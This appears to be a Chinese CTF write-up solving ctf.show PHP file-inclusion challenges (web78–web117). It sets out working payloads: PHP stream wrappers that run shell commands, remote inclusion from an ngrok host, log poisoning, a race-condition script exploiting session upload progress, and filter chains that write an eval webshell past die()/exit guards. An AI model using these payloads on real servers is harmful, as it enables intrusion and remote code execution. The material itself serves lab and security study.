web78

image-20220326203913638

源码开局

php://

?file=php://filter/read=convert.base64-encode/resource=flag.php

data://

?file=data://text/plain,<?php%20system('cat `ls`')?>

php://

?file=php://input

POST
<?php system('tac `ls`') ?>

http

?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt
?file=https://9eb3-111-17-194-91.ngrok.io/wanan.txt

image-20220326204539032

web79

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:10:14
Last Modified by: h1xa
Last Modified time: 2020-09-16 11:12:38
email: h1xa@ctfer.com
link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

/?file=PHP://input
POST
<?php system('tac `ls`') ?>

http://0d236b1b-2f77-47ca-b3ac-be411c6f0441.challenge.ctf.show/?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt

image-20220403203526578

这里的%2b是加号,在我这里直接使用+号是不行的

image-20220330125919158

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgYGxzYCcpID8%2b

image-20220330125934546

web80

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-16 11:26:29
email: h1xa@ctfer.com
link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

payload

?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt

/?file=PHP://input
POST
<?php system('tac `ls`') ?>

image-20220403204127607

web81

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-16 15:51:31
email: h1xa@ctfer.com
link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

日志包含

?file=/var/log/nginx/access.log

接着修改ua

image-20220403205128333

image-20220403205420402

web82

利用session.upload_progress进行文件包含

在php.ini中有以下默认的配置

#表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件是,php会把此次文件上传的详细信息(如上传时间 上传进度等)存储在session当中
1. session.upload_progress.enabled = on
#表示当文件上传结束后,php将会立即清除对应session文件中的内容,这个选项非常重要
2. session.upload_progress.cleanup = on
#prefix+name将表示为session中的键名
3. session.upload_progress.prefix = "upload_progress_"
#name当它出现在表单中,php将会报告上传进度,最大的好处是他的值可控
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
#增配置的默认值为off,表示我们对cookie中的sessionid可控
7.session.use_strict_mode=off

如果session.auto_start=On,则php在接收请求的时候会自动初始化session,不在需要执行session_start().但是默认情况下这个选项都是关闭的.

但是session还有一个默认选项,session.use_strict_mode的默认值为0.此时用户是可以自定义session id的.比如,我们在cookie里设置phpsessid=tgao,php将会在服务器上创建一个文件:/tmp/sess_TGAO 即使此时用户没有初始化session,php也会自动初始化session.并产生一个键值.这个键值由ini.get(“session.upload_progress.prefix”)+和由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里.

默认配置session.upload_progress.cleanup=on导致文件上传以后,session文件内容立即清空,这个时候我们就可以通过条件竞争来实现

session文件默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
# -*- coding: utf-8 -*-
author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = '' #这里改为题目的url地址


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'}, #session中写入一句话
files={'file': ('test.txt', f)} #写入文件
)


def read(session):
while event.isSet():
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'test' in response.text: #如果成功打开文件,则竞争成功!
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 100):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 100):
threading.Thread(target=read, args=(session,)).start()

题目

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-16 19:34:45
email: h1xa@ctfer.com
link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

不过这里脚本不给玩,我们试试burp

构造一个上传表单

<!DOCTYPE html>
<html>
<body>
<form action="http://718ac6a2-5a12-4d56-a573-3a13cb88450b.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

web87

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-16 21:57:55
email: h1xa@ctfer.com
link: https://ctfer.com

*/

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这里的file_put_contents将字符串写入文件中了

先同php://filter的base64-decode流写入一个zf.php文件,要进行双url编码

php://filter/write=convert.base64-decode/resource=zf.php
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%61%25%36%36%25%32%65%25%37%30%25%36%38%25%37%30

还要在处理一下,由于解码时会去除无法解码字符,所以最后剩下

<?php die('大佬别秀了');?>
phpdie

总共六个字符,而base64算法解码时是4个byte为一组,那么我们需要将其补充成8个byte,而a是一个byte,那么增加两个a就可以正常解码

<?php @eval($_POST[zf]);?>	-> PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=  -> aaphpdiePD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=

image-20220403214907284

可以看到成功解码了,同样如果不补齐就会出错

image-20220403214930438

最终上传
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%61%25%36%36%25%32%65%25%37%30%25%36%38%25%37%30
POST
content=aaPD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=

image-20220403215146506

接着访问zf.php

image-20220403215404107

image-20220403215411651

php:filter的妙用

xxe中的使用

由于xxe漏洞的特殊性,我们读取html PHP文件时可能会抛出错误,原因是php基于标签的脚本语言,<?php ?>这个语法和xml相符合,所以在解析xml的时候会被误认为是xml,而其中内容,又有可能与标准xml冲突,所以导致了出错

php://filter是php语言特有的协议流,作用是作为一个中间流来处理其他流,比如我们可以使用如下将post内容转换成bse64输出

readfile("php://filter/read=convert.base64-encode/resource=php://input")

所以在xxe中,我们也可以将php等容易引发冲突的文件流用php:filter协议流过一遍

php://filter/read=convert.base64-encode/resource=./xxe.php

巧用编码与解码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(在实战中,通常出现在缓存 配置文件等地方,不允许用户直接访问的文件,都会被加上if(!defind(xxx))exit;这类的限制)

这里的$_POST[“filename”]是可以控制协议的,我们即可使用php://filter协议来绕过,使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除exit

在base64编码中只包含64个可打印字符,而php在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码.

所以base64_decode可以理解成

<?php
$_GET["txt"] = preg_replace("|[^a-z0-9A-Z+/]","",$_GET['txt']);
base64_decode($_GET['txt']);

所以当$content被加上了<?php exit;?>之后,我们可以使用php://filter/write=convert.base-decode类首先对其解码.在解码过程中,字符< ? ; > 空格等一共有七个字符不符合base64编码的字符方位将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符.”phpexit”一共七个字符,因为base64算法解码时是4个byte一组,所以给他增加一个”a”一共八个字符.这样 “phppexita被正常解码,而后面传入的webshell的base64内容也被正常解码.结果就是<?php exit; ?>没有了

字符串操作方法

还可以使用php:filter字符串处理方法来去除exit.<?php exit;?>实际上是一个xml标签,既然是xml标签,我们就可以使用strip_tags函数去除它,而php://filter刚好支持

php://filter/read=string.strip_tags/resource=php://input

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码,在调用完成strip_tags后再进行base64-decode

除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了

当然,这个方法的条件就是不开启短标签。

web88

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-17 02:27:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

payload

绕过等号就好

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgYGxzYCcpOw

web116

要分析视频,我不会

image-20220403215822599

可以正常读文件

试了几个常见的就出来了,也可以爆破

image-20220403220620645

web117

<?php

/*
# -*- coding: utf-8 -*-
Author: yu22x
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

应该是让用别的过滤器

php://filter的各种过滤器

php://filter的各种过滤器

这里使用convert.iconv.*

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php
POST:
contents=?<hp pvela$(G_TE'['a)] ;>?

原因

<?php
highlight_file(__FILE__);
file_put_contents("php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php"
, "<?php die();?>?<hp pvela$(G_TE'['a)] ;>?");
?>

image-20220403221348284

可以看到前面不符合php的格式

image-20220403221752628

image-20220403221802615